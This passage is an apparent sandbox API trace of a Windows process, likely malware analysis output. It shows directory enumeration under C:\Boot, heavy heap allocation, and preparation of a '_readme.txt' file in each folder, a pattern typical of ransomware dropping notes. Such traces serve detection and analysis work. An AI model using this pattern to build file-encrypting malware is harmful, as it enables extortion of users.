cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.518] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.518] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.518] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.518] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.518] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.519] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.519] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.520] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.520] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.521] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.521] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.522] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.522] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.523] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.523] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.524] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.524] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.525] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.525] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0112.525] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.525] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.525] PathFindFileNameW (pszPath="") returned="" [0112.525] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.525] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.525] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.525] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.525] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.526] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.526] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0112.526] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.526] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.526] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0112.526] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 